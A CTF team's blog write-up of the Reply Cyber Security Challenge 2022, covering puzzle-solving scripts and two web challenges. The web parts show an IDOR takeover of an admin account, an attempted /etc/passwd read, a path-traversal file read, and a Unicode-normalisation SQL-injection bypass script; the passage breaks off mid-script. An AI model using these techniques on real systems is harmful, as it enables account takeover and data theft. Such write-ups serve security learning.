adragos-logo

Dragos Albastroiu

Security engineer, hacker, CTF player with team @WreckTheLine

Reply Cyber Security Challenge 2022

October 15, 2022

Write-ups of my Team WreckTheLine. We took part in the Reply Cyber Security Challenge this year, and we finally managed to win after 2 years of second place :), we are very happy about that! Looking forward to the next Reply Challenges.

Coding

Coding 200

Description

Arriving at base camp, the local Sherpas make clear they are stubbornly opposed to the mission, but R-Boy insists. His mission is straightforward: to climb more than 8,000 meters above sea level and visit a small temple, where TouringZ claims there are concentrated energies that can expand the mental abilities of those who visit. But rumours abound of adventurers who, in trying to reach the summit, have been swallowed up by light entities before materialising elsewhere. R-Boy remains undaunted and the quest begins.

We are given a zip file with a README file which fully explains our task:

aMAZEing portals

R-boy is in trouble! As the adventurers who preceeded him, he ran into a space room: help him escape before the black holes get him!

R-boy has to run from 'A' to 'B', walking freely on normal tiles ('.') but avoiding black holes ('&'). He can walk in all 4 directions (N-E-S-W), and he can't move twice on the same tile.

The black holes change at every step R-boy takes:

  • each black hole can live on if it's surrounded (in all 8 directions) by exactly 2 or 3 other black holes, otherwise it extinguishes;
  • each normal tile can become a black hole if it's surrounded (in all 8 directions) by 3 or more black holes.

R-boy can't walk into black holes, or tiles that are going to become a black hole while he stands there.
For instance, in the following situation (where @ is current position of R-boy):

....
...&
&@.&
...&

he can't go west (as there is a black hole there), but he can't go east either, as after his move the tiles on his right will become a black hole too.

In the map there are also some portals (lowercase letters, e.g. 'a') that can help R-boy traversing the space room. Every portal has one twin-portal labelled with the same lowercase letter. When R-boy walks into a portal, he gets teleported to the corresponding twin-portal instantly.
Teleporting doesn't count as a move, so walking in a portal + teleporting to the twin portal consumes one move only.
Portals can be used just once. When using a portal, both twin-portals count as visited and they will both deactivate.

Pay attention as portal tiles behave as normal tiles: they will transform into black holes if surrounded (in all 8 directions) by 3 or more black holes.
If a portal tile transforms into a black hole, it can't be used anymore even if it extinguishes. Also, the corresponding twin-portal will transform into a black hole instantly and can't be used too.

Routes are expressed as the directions in which R-boy moves: N, S, W, E. Help R-boy find all the best routes to the exit, using the lowest number of moves.
In case of equality, the best routes are the ones using the highest number of portals.
All the solutions with the same number of moves and same number of portals are equivalent.

A password is needed to open the exit door in the format N-s-P, where:

  • N: the number of the best solutions possible;
  • s: the concatenation of all the best solutions, firstly sorted in lexical order;
  • P: the number of portals used in the path.

For example, in the following map:

..B.
a..&
&.&&
aA.&

both the paths NNNE and WNEE are possible with 4 moves, but the second one makes use of portal 'a' so it's better. The best solutions for this map (in lexical order) are: WENE and WNEE using 1 portal.
So the password would be: 2-WENEWNEE-1

There's not much to comment, it's a very straightforward BFS where the only tricky part is correctly implementing everything and fixing bugs without any meaningful example input/output pairs.

The map given is as follows:

ib&&&&.a.&&&&&&&
e..&&&Akl&&&&&&&
dyg&&&n...x&&&dt
....wvwbp..&&&..
...f...&&&h&&&j.
&&.pct.&&&.&&&..
&&u&&&j&&&&&&...
&&&&&&q.xk&&&...
&&&&&&..o.&&&..s
&&&.c&&&n&B..r.y
i.&&&&&&m..l.u.s
..&&&&&&&&of...a
.g&&&..&&&e.....
.......&&&&.v...
....q...&&&....h
m.......&&&..r..

And here is our final solver script:

import string

data = """..B.
a..&
&.&&
aA.&
"""


with open("map.txt", "r") as f:
data=f.read()

initial_maze = list(map(lambda x : list(x), data.split("\n")))[:-1]

surrounding = [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1,1)]
moves = {
"N": (-1, 0),
"W": (0, -1),
"E": (0, 1),
"S": (1, 0)
}

def safe_get(maze, x, y, dx, dy):
if x + dx < 0:
return None
if x + dx >= len(maze):
return None

if y + dy < 0:
return None

if y + dy >= len(maze[0]):
return None

return maze[x+dx][y+dy]

def safe_v_get(maze, visited, x, y, dx, dy):
#print(visited)
if (x+dx,y+dy) in visited:
return None
return safe_get(maze, x, y, dx, dy)

def deepcopy(maze):
newmaze = []
for c in maze:
newmaze.append(c[:])
return newmaze

def destroy_portals(maze, pl, newstate):
for i in range(len(maze)):
for j in range(len(maze[0])):
if maze[i][j] == pl:
maze[i][j] = newstate


class State:
def __init__(self, mazeState, px, py, depth, portalcount, path, visited):
self.mazeState = mazeState
self.px = px
self.py = py
self.depth = depth
self.portalcount = portalcount
self.path = path
self.visited = visited

def dump(self):
print("%d %d [%d,%d] %s" % (self.depth, self.portalcount, self.px, self.py, self.path))

class MazeState:
def __init__(self, maze, portals):
self.maze = maze
self.portals = portals

def dumpmaze(self):
print("\n".join(map(lambda x : "".join(x), self.maze)))

def get_next_maze(self):
newmaze = deepcopy(self.maze)
newportals = self.portals.copy()

for i in range(len(self.maze)):
for j in range(len(self.maze[0])):
around = 0
for (dx, dy) in surrounding:
if safe_get(self.maze, i, j, dx, dy) == "&":
around += 1

if self.maze[i][j] == "&": #black hole
if around != 2 and around != 3:
newmaze[i][j] = "."
else:
if around >= 3:
newmaze[i][j] = "&"
#check if destroyed portal
if self.maze[i][j] in string.ascii_lowercase:
if self.maze[i][j] in newportals:
del newportals[self.maze[i][j]]
destroy_portals(newmaze, self.maze[i][j], "&")



return MazeState(newmaze, newportals)

def destroyed_portal(self, pl):
newmaze = deepcopy(self.maze)
newportals = self.portals.copy()


del newportals[pl]
destroy_portals(newmaze, pl, ".")
return MazeState(newmaze, newportals)




for i in range(len(initial_maze)):
if "A" in initial_maze[i]:
psx = i
psy = initial_maze[i].index("A")
initial_maze[psx][psy] = "."
if "B" in initial_maze[i]:
gx = i
gy = initial_maze[i].index("B")
initial_maze[gx][gy] = "."

portals = {}
for pl in string.ascii_lowercase:
o1 = None
o2 = None
for i in range(len(initial_maze)):
for j in range(len(initial_maze[0])):
if initial_maze[i][j] == pl:
if o1:
o2 = (i, j)
portals[pl] = (o1, o2)
break
else:
o1 = (i, j)


first_state = MazeState(initial_maze, portals)

mindepth = -1
q = []
q.append(State(first_state, psx, psy, 0, 0, "", []))

solutions = []

cache = []

while True:
state = q.pop(0)
key = (state.depth, state.px, state.py, "".join(state.mazeState.portals.keys()))
#if key in cache:
# continue
#cache.append(key)
#print(state.path)

#state.dump()
if False:#"WEEN".startswith(state.path):
state.dump()
state.mazeState.dumpmaze()

if mindepth != -1 and state.depth > mindepth:
break
if state.px == gx and state.py == gy:
#print("Goal!")
mindepth = state.depth
solutions.append(state)

continue

mazeState = state.mazeState
next_maze_state = mazeState.get_next_maze()
for move in moves:
(dx, dy) = moves[move]
origtarg = safe_v_get(mazeState.maze, state.visited, state.px, state.py, dx, dy)
if origtarg is None:
continue #OOB
nexttarg = safe_get(next_maze_state.maze, state.px, state.py, dx, dy)
if origtarg == "&" or nexttarg == "&":
continue #black hole
if origtarg in next_maze_state.portals:
if (state.px+dx,state.py+dy) == mazeState.portals[origtarg][0]:
(newpx, newpy) = mazeState.portals[origtarg][1]
else:
(newpx, newpy) = mazeState.portals[origtarg][0]
q.append(State(next_maze_state.destroyed_portal(origtarg), newpx, newpy, state.depth+1, state.portalcount+1, state.path + move, state.visited + [(newpx, newpy), (state.px+dx,state.py+dy)]))
else:
(newpx, newpy) = (state.px+dx, state.py+dy)
q.append(State(next_maze_state, newpx, newpy, state.depth+1, state.portalcount, state.path + move, state.visited + [(newpx, newpy)]))





max_portals = max(map(lambda x : x.portalcount, solutions))
#print(max_portals)

maxsols = filter(lambda x : x.portalcount == max_portals, solutions)
paths = sorted(list(map(lambda x : x.path, maxsols)))

#print(paths)
print("%d-%s-%d" % (len(paths),"".join(paths), max_portals))

I was running the script with pypy instead of CPython to squeeze out extra performance, but the final script is fast enough for it to not be necessary. After a few seconds, we get our answer:

9-NENNNWSSSWWWWNENNWSSSWNWWWNENNWSSSWWNWWNENNWWSESWWWWNESWNNESWWWWWNESWNNEWSWWWWNEWNENWSSWWWWNEWWNEESWWWWWNEWWNEEWSWWWW-2

We use the answer to unzip the flag.

Flag

{FLG:4v0Id1N6_bL4Ck_h0l35_c4N_b3_7r1cKy}

Coding 300

Description

The expedition sets off, but before long things take a turn for the worse. The Sherpas are frightened by an unusual blizzard that blows in. They feel it’s a dark omen and refuse to go on. R-Boy has no choice but to continue his journey alone. There is no other way.

We are given a zip file with the following README:

sudo -r fog

In his unconscious state, R-boy's vision is all mixed up. The images he sees seem to be indecipherable, as if the pixels had been randomly shuffled, but he knows that the seed of the solution is within what he sees.

Suddenly, R-boy finds a sheet of paper with written notes:

np.random.seed(seed)
indices = np.random.permutation(len(pix))
...
stepic.encode(img, message)
...
imutils.rotate(img, angle=rot_angle)

Hint: once the image is reconstructed, each sub-block of the board will contain steganographed binary message, e.g., 010111. The two most significant digits represent how much it has been rotated, e.g., 01 = 90°, and the remaining four represent its original position, e.g., 0111 = 7, since it starts at 0, the original position of this block was 8th.

Apart from that, we get a lvl1.zip containing lvl1.png and lvl2.zip. Our task will be to always get the password from the png file, unpack the zip file with it and then repeat this operation. For that I created a simple loop script and the rest of this writeup only deals with solving a single task.

for i in {2..50};
do
j=$((i+1))
7z x -p$(python3 test.py lvl${i}.png) lvl${j}.zip
done

Here is what the first image looks like:

First, when running the big image through stepic, we get #####23#####. We guess that this is the seed value referenced in the example code. So we use it as a seed, generate a permutation using np.random.permutation(len(pix)) and invert the permutation using a code snippet I found on StackOverflow. After that, we permutate the pixels according to the inverse permutation and save the result. To my big surprise, it actually worked, returning the following image:

Using stegsolve, we can indeed see that each 4x4 block has some steganographed data in the top left corner:

So now we follow the instructions from the hint in README, reading the stepic data from each block and rotating and reordering them according to that. This gives a fully reconstructed puzzle:

As you might have guessed already from the rotated variant, this is a 4x4 sudoku puzzle. We most definitely have to solve it, and given how the other tasks worked we guessed that the zip password is the concatenation of all the solution numbers, cell by cell line by line.

To OCR the numbers, I just used tesseract wrapped with pytesseract. It is kinda slow and janky, but I have experience with it. My biggest advice is to always use extra parameters when you can (like --psm 7 here meaning "Treat the image as a single text line") and to crop the image as best as you can. When I left a bit of the cell border in the image, I was getting bad recognitions, for example this being recognized as 30:

Changing the crop to take extra 10 pixels from all sides made the recognition perfect.

After OCRing the numbers, we just have to solve the sudoku puzzle, for which I used py-sudoku.

Here is the full solver script:

from operator import sub
import sys
from PIL import Image, ImageChops
import stepic
import numpy as np

import pytesseract
import cv2
from sudoku import Sudoku

img = Image.open(sys.argv[1])
seed = int(stepic.decode(img).replace("#", ""))
np.random.seed(seed)
pix = list(img.getdata())

def invert_permutation(p):
"""Return an array s with which np.array_equal(arr[p][s], arr) is True.
The array_like argument p must be some permutation of 0, 1, ..., len(p)-1.
"""

p = np.asanyarray(p) # in case p is a tuple, etc.
s = np.empty_like(p)
s[p] = np.arange(p.size)
return s


indices = list(invert_permutation(np.random.permutation(len(pix))))


newpix = []
for i in range(len(pix)):
newpix.append(pix[indices[i]])

img.putdata(newpix)



subsize = img.width // 4

blocks = [None] * 16

img.save("tmp.png")

for i in range(4):
for j in range(4):
subimg = img.crop((i*subsize, j*subsize, (i+1)*subsize, (j+1)*subsize))
val = stepic.decode(subimg).replace("#", "")
rot = int(val[:2], 2)
ind = int(val[2:], 2)

#imutils.rotate(subimg, angle=-90*rot)
#print(rot, ind, val)
blocks[ind] = subimg.rotate(-90*rot)

for i in range(16):
img.paste(blocks[i], ((i%4)*subsize, (i//4)*subsize))

img.save("out.png")


cellsize = img.width // 16

puzzle = []

def defint(text):
#print(text)
if text == '':
return 0

return int(text)

for j in range(16):
row = []
for i in range(16):
prep = img.crop((i*cellsize+10, j*cellsize+10, (i+1)*cellsize-10, (j+1)*cellsize-10))
#prep.save("%03d-%03d.png" % (j, i))
row.append(defint(pytesseract.image_to_string(prep, config="--psm 7 -c tessedit_char_whitelist=0123456789 digits").strip()))
puzzle.append(row)



sud = Sudoku(4, 4, board=puzzle)
sol = sud.solve()

answer = ""

for row in sol.board:
for val in row:
answer += str(val)

print(answer)

After solving 50 levels in the loop, we get a zip file with the flag.

Flag

{FLG:rE9EnEr4T3_My_me5sy_sud0Ku}

Coding 400

Description

Exhausted, R-Boy reaches the summit. The tumble-down temple looks more like an old ruined shelter, but one cannot worry about appearances so close to the finish line. Cautiously, R-Boy enters through the frozen door and is immediately flooded with wisdom that feels other-worldly.

http://gamebox2.reply.it/4ykubm9gMDXFSWHlBe5JqUBBIvhodV2V7Lu6WtOiYoUq3bOtiUgfVl2DKxXqR1968uutvqvFBQWs78M0Vh5i40gSnIypQRCTlJEy/

The challenge consisted of 4 separate programming challenges that had to be solved in order.

First challenge

We are given a sequence and we need to compute the first 150 numbers of that sequence.

After analyzing the sequence for patterns, it turns out that the we can describe the sequence as a recurrence relation:

F(0) = 5 F(1) = F(0) + 4 * (0) - 2 F(2) = F(1) + 4 * (1) - 2

etc...

All that is left is to generate the sequence and the request body using Python:

first = 5
seq = -2

out = 'userSequence[0]=' + str(first)
for i in range(149):
first += seq
out += '&userSequence[%d]' % (i+1) + '=' + str(first)
seq += 4

print(out)

And to send it using Burp:

And we get the link to the next game and the password to access it:

You Win!


Go to next game at /RS51gXLeaVYjQ99oa1GQ1iSZ141BkmOxMqcPH3c3mPxYBJg1EcTc53QkCQy0I6XT0YzAvFYWGwwEXHrS8Qkmzctkjoj9LTz16D2J and log in with this conGratZ_you_fouNd_THe_r19hT_comBINAti0N_T0_0pen_ThE_10cK_bu7_T4i5_1s_N0t_Th3_FLAG_Y3t!

Second challenge

This is a Binary Search challenge. We're guaranteed to guess the number in 55 attempts as math.log(23948670342789839,2) = 54.41079507632564

A simple Python script is all it takes:

import requests

session = requests.session()

left = 0
right = 23948670342789839

while left <= right:
m = (left + right) // 2

burp0_url = "http://gamebox2.reply.it:80/RS51gXLeaVYjQ99oa1GQ1iSZ141BkmOxMqcPH3c3mPxYBJg1EcTc53QkCQy0I6XT0YzAvFYWGwwEXHrS8Qkmzctkjoj9LTz16D2J/checkSecondGame"
burp0_cookies = {"JSESSIONID": "89D280CB04DB2825234D801C672DBD20"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox2.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://gamebox2.reply.it/RS51gXLeaVYjQ99oa1GQ1iSZ141BkmOxMqcPH3c3mPxYBJg1EcTc53QkCQy0I6XT0YzAvFYWGwwEXHrS8Qkmzctkjoj9LTz16D2J/secondGame", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"number": m}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

if 'Insert a number greater' in r.text:
left = m + 1
elif 'Insert a number lesser' in r.text:
right = m - 1
else:
print(r.text, left, right, m)
break

The number in this case was 3942717373268255 and we got the link and password for the third challenge:

You Win!

Go to next game at /nmmJI11FJzwTgnZ5Mmanr1SWEiB4YIxySqKjH0Y4eOgwsBmPom6MhELDxRj8aRuWoFoL6oLsjdxPBWr0tkw6JpvcBTTZv2QkFPrz and log in with this conGratZ_you_fouNd_THe_r19hT_NuMbEr_bu7_T4i5_1s_N0t_Th3_FLAG_Y3t!

Third challenge

This is a Wordle type of game. We only have 50 attempts to guess a random 50 character word. The alphabet is from 126 to 33 ASCII. We're not guaranteed to always be able to beat this game in 50 tries. We first try to determine which characters form our actual alphabet, since at most 50 distinct letters can be used. After that, for each index in the resulting string we're trying to match the letter until it is green:

import requests

alphabet = set(''.join([chr(i) for i in range(33, 127)]))

good = set()
bad = set()
history = [list() for _ in range(50)]

session = requests.session()

GREEN = [''] * 50

while len(good) < 50:
payload = [''] * 50

for i in range(50):
if GREEN[i] != '':
payload[i] = GREEN[i]
i = 0
for c in (alphabet-bad) - good:
if payload[i] == '':
payload[i] = c
i += 1
if i >= 50:
break

for i in range(50):
if payload[i] == '':
for c in good:
if c not in history[i]:
payload[i] = c
break

burp0_url = "http://gamebox2.reply.it:80/nmmJI11FJzwTgnZ5Mmanr1SWEiB4YIxySqKjH0Y4eOgwsBmPom6MhELDxRj8aRuWoFoL6oLsjdxPBWr0tkw6JpvcBTTZv2QkFPrz/checkThirdGame"
burp0_cookies = {"JSESSIONID": "8FD977A0523647DDD51654B4A88D7AC0"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox2.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://gamebox2.reply.it/nmmJI11FJzwTgnZ5Mmanr1SWEiB4YIxySqKjH0Y4eOgwsBmPom6MhELDxRj8aRuWoFoL6oLsjdxPBWr0tkw6JpvcBTTZv2QkFPrz/thirdGame", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"userGuess": ''.join(payload)}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

for i, c in enumerate(payload):
history[i].append(c)

try:
data = r.text.split('<div style="color:red; font-size: 150%; font-weight: bold;">')[1].split('</div>')[0]
for i, c in enumerate(data):
if c == 'Y':
good.add(payload[i])
if c == 'R':
bad.add(payload[i])
if c == 'G':
GREEN[i] = payload[i]

print(GREEN)
except Exception as ex:
print(r.text)

The script should retrieve the link and password for the next game in a few tries:

Go to next game at /YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv and log in with this conGratZ_you_fouNd_THe_r19hT_w0rD_bu7_T4i5_1s_N0t_Th3_FLAG_Y3t!

Fourth and final challenge

The final challenge is solving a special version of the minesweeper game. "After choosing a cell, only its neighbourhood will be revealed, whilst the rest of the field will be hidden, even previously visited cells.".

However, the implementation had a "bug" that we could take advantage of:

For every cell that was not visited or revealed, when selected, the game will give information about all its 8 neighbours, and will not mask any information.

So for example:

 0  1   0
 1  2   1
-2  3  -2

The cell in the middle was queried, and we know that it has 2 bombs that are in its neighbourhood. It is guaranteed then that the two cells that are marked as -2 are the bombs. And this will be true for every cell we discover pretty much.

I used this implementation of a Minesweeper solver from Github (https://github.com/JohnnyDeuss/minesweeper-solver) and glued together the web API using Python:

import numpy as np

from solver import Solver
from policies import corner_then_edge2_policy


board = [['?' for _ in range(100)] for __ in range(80)]

def parse(text, x, y):
if 'You have found a land mine and your body was sent into another universe' in text:
board[x][y] = '*'
for plm in board:
print(''.join([str(_).replace('flag','F') for _ in plm]))
print('GAME OVER!')
exit()
if '{FLG' in text or 'FLG' in text:
print(text)
exit()
text = text[text.find('<table'):text.find('</table>')+8]

rows = text.split('<tr>')
for i, row in enumerate(rows[1:]):
for j, c in enumerate(row.split('<td >')[1:]):
c = c.split('</td>')[0]
if c!= '-2':
board[i][j] = int(c)

lmao = board[x][y]

for i, j in [(1,0), (0,1), (1,1), (-1, 0), (0, -1), (-1, -1), (1, -1), (-1, 1)]:
try:
if x+i < 0 or y+j < 0:
continue
if board[x+i][y+j] == '?':
board[x+i][y+j] = 'flag'
lmao -= 1

if lmao < 0:
print("BREAKING GAME")
exit()
except Exception as e:
pass

import requests

session = requests.session()

burp0_url = "http://gamebox2.reply.it:80/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/lastGame"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox2.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://gamebox2.reply.it/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"passphrase": "conGratZ_you_fouNd_THe_r19hT_w0rD_bu7_T4i5_1s_N0t_Th3_FLAG_Y3t!"}
session.post(burp0_url, headers=burp0_headers, data=burp0_data)

burp0_url = "http://gamebox2.reply.it:80/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/checkLastGame"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox2.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://gamebox2.reply.it/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/lastGame", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"row": "50", "column": "50"}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)

parse(r.text, 50, 50)

# Uncomment to make the probabilities come out right.
#game.set_config(first_never_mine=False) # Disable to make first move probability is the same as the solver's?
wins = 0
games = 0
expected_wins = 0

VISITED = set()

import time
for i in range(100000):
expected_win = 1
games += 1
solver = Solver(100, 80, 1600)
state = board
while True:
prob = solver.solve(state)
# Flag newly found mines.
for y, x in zip(*((prob == 1) & (state == "?")).nonzero()):
board[y][x] = "flag"
print("FUCK")
best_prob = np.nanmin(prob)
ys, xs = (prob == best_prob).nonzero()
if len(ys) == 0:
expected_win *= (1-best_prob)
x, y = corner_then_edge2_policy(prob)
burp0_url = "http://gamebox2.reply.it:80/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/checkLastGame"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox2.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://gamebox2.reply.it/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/lastGame", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"row": y, "column": x}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies={"http": "http://127.0.0.1:8080"})
print('1', y, x)
parse(r.text, y, x)
else:
# Open all the knowns.
for x, y in zip(xs, ys):
if board[y][x] != '?':
continue
burp0_url = "http://gamebox2.reply.it:80/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/checkLastGame"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox2.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://gamebox2.reply.it/YUYQ6XYIcbXxNOQRJfI3Sp7ogMgrHYmK979MtvfGddeZQlPnQ5XRcdcWB4SlFM8CYh45m6mvLL40azoD4osGym5Fax1MARqFZYvv/lastGame", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"row": y, "column": x}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies={"http": "http://127.0.0.1:8080"})
print('2', y, x)
parse(r.text, y, x)
time.sleep(0.7)

After some waiting, we get the flag of the challenge.

Flag

{FLG:D1fFIcuLt135_h4v3_t3mP3r3D_y0U_4Nd_f1n4llY_Y0u_h4V3_r3aCheD_tH3_T0p!}

Web

Web 100

Description

Regeneration spans the universe and all possible universes: a point of contact between space and time that brings the subject back to life in a new body, leaving last damage in the souls of those who undergo it, with unforeseen influences that can also fracture time. R-Boy awakes and has the solution in his pocket, but he does not feel like embarking on such a selfish path. He decides to embrace his own “end of days”.

http://gamebox1.reply.it:80/b39baab8d6970c154faea87446cdd9efe902822f

We are given a very nice oldschool RPG looking website:

We click on the door, and we're presented with the following screen:

We decide to register, as not much functionality is provided otherwise.

We know can access the dice game, we can change our password in the Profile section and we have a Master section that we can't access because we're not admin.

We find this interesting variable in the dice game:

And it kinds looks like an email, which is userful, as our accounts also required an email. What spiked my curiosity is the fact that the Change Password functionality also requires an email:

Now, what if we could set the password for the Master account by abusing a IDOR vulnerabiilty? Let's try to do that

And it worked, now we can try to login as the master account with the password we've just set. We now have access to the Master portal:

Looks like we can include files, let's try to include /etc/passwd

However we're being redirected to /troll

If we check the source code we can notice the following comment:

<!-- TODO: review all the /secret notes and make them accessible. See: https://pastebin.com/TJMXHEB9 -->

And we get a small portion of the backend code:

@app.route('/admin', methods=["GET","POST"])
@login_required
def admin():
if current_user.is_authenticated and current_user.is_admin:
notes = ['campaign.txt', 'player1.txt', 'player2.txt']


selected_note = 'campaign.txt'
if request.method == 'POST' and request.form.get('note'):
selected_note = request.form.get('note')

path = os.path.join('notes', selected_note)
path = remove_dot_slash_recursive(path)
if allowed_path(path):
try:
file = open(path, 'r')
note_content = file.readlines()
except Exception as e:
note_content = ['This note does not exist\n']

return render_template('admin.html', notes=notes, note_content=note_content, selected_note=selected_note)
return redirect('troll')
else:
return 'You are not the master!:('

We can see that full LFI is not possible, but we're able to escape the notes directory by abusing the fact that os.path.join will generate absolute paths if the second parameter starts with a '/', thus we can go to the secret directory to read flag.txt

Flag

{FLG:Plz_d0nt_st34l_my_n0t3s}

Web 200

Description

Suddenly, R-Boy hears a voice: TouringZ is communicating with him telepathically, warning him of a disturbing discovery. Zer0 is alive and regaining in strength in a parallel universe and will soon be ready to return to our world. At this point, R-Boy rethinks his decision. He will try to regenerate, while also accepting the burden of any consequences it may bring.

http://gamebox1.reply.it:80/dc5ff0efae41b3500b9ebc0ee9ee5a78c98f41a9/

We're given a Message.txt file that contains parts of the source code of the application:

   From: Master <master@emogigi.net>
To: All Developers <all.developers@emogigi.net>
Date: Fri, 14 Oct 2022 00:00:00
Subject: Weird Behavior

Hi developers!
I ve noticed weird behavior when users search for my emojis. :(

Can you double check the search function? Here is the simplified code.

----------------------------------------------------------------------------------------------------
def search():
# [... SNIP ...] Init the variables here

# Custom SQL filter
query = sqlfilter(request.form['query'])

# [... SNIP ...]

if query is None:
# [... SNIP ...] Return an error here
else:
# Normalize weird chars here
norm = unicodedata.normalize("NFKD", query).encode('ascii', 'ignore').decode('ascii')

# Custom HTML filter
query = htmlfilter(norm)

conn = sqlite.connect('./emoji.db')
cur = conn.cursor()

# Prefix: f09f90
# Range: 80;c0
# Category: animals
result = cur.execute("SELECT prefix,range,category,id FROM emoji WHERE category like '%" + query + "%'").fetchall()
conn.close()

# No Results
if len(result) == 0:
return index()

# [... SNIP ...] Build the results table here
for r in result:
rng = r[1].split(';')
emoji += '<div class="category"><div id="lh"></div>' + r[2].upper() + '<div id="rh"></div></div>'
emoji += emoji_gen(bytes.fromhex(r[0]), int(rng[0], 16), int(rng[1], 16))

# [... SNIP ...]

return render_template('index.html', error=error, emoji=emoji, pages=pages, query=query), 200

----------------------------------------------------------------------------------------------------

That is the frontpage of the application. We can make queries using the search box and if we try to inject a SQL payload we get the following result:

We can see from the source code that the query first checks for sql injections, and then it normalizes the data using NFKD. We can abuse this by sending unicode data that gets transformed to ASCII letters like so:

import unicodedata
import requests

blacklist = [chr(c) for c in range(0x20, 0x80)]
dic = {}

for i in range(128, 0xffff+1):
x = chr(i)
norm = unicodedata.normalize("NFKD", x).encode('ascii', 'ignore').decode('ascii')

for c in blacklist:
if c == norm:
dic[c] = chr(i).encode('utf-8')

def encode(s):
for c in blacklist:
if c in dic:
s = s.replace(bytes([ord(c)]), dic[c])
return s

while True:
query = input('query: ').encode()
query = b"' UNION SELECT 'aa','aa;aa'," + query + b",3;-- -"
burp0_url = "http://gamebox1.reply.it:80/dc5ff0efae41b3500b9ebc0ee9ee5a78c98f41a9/"
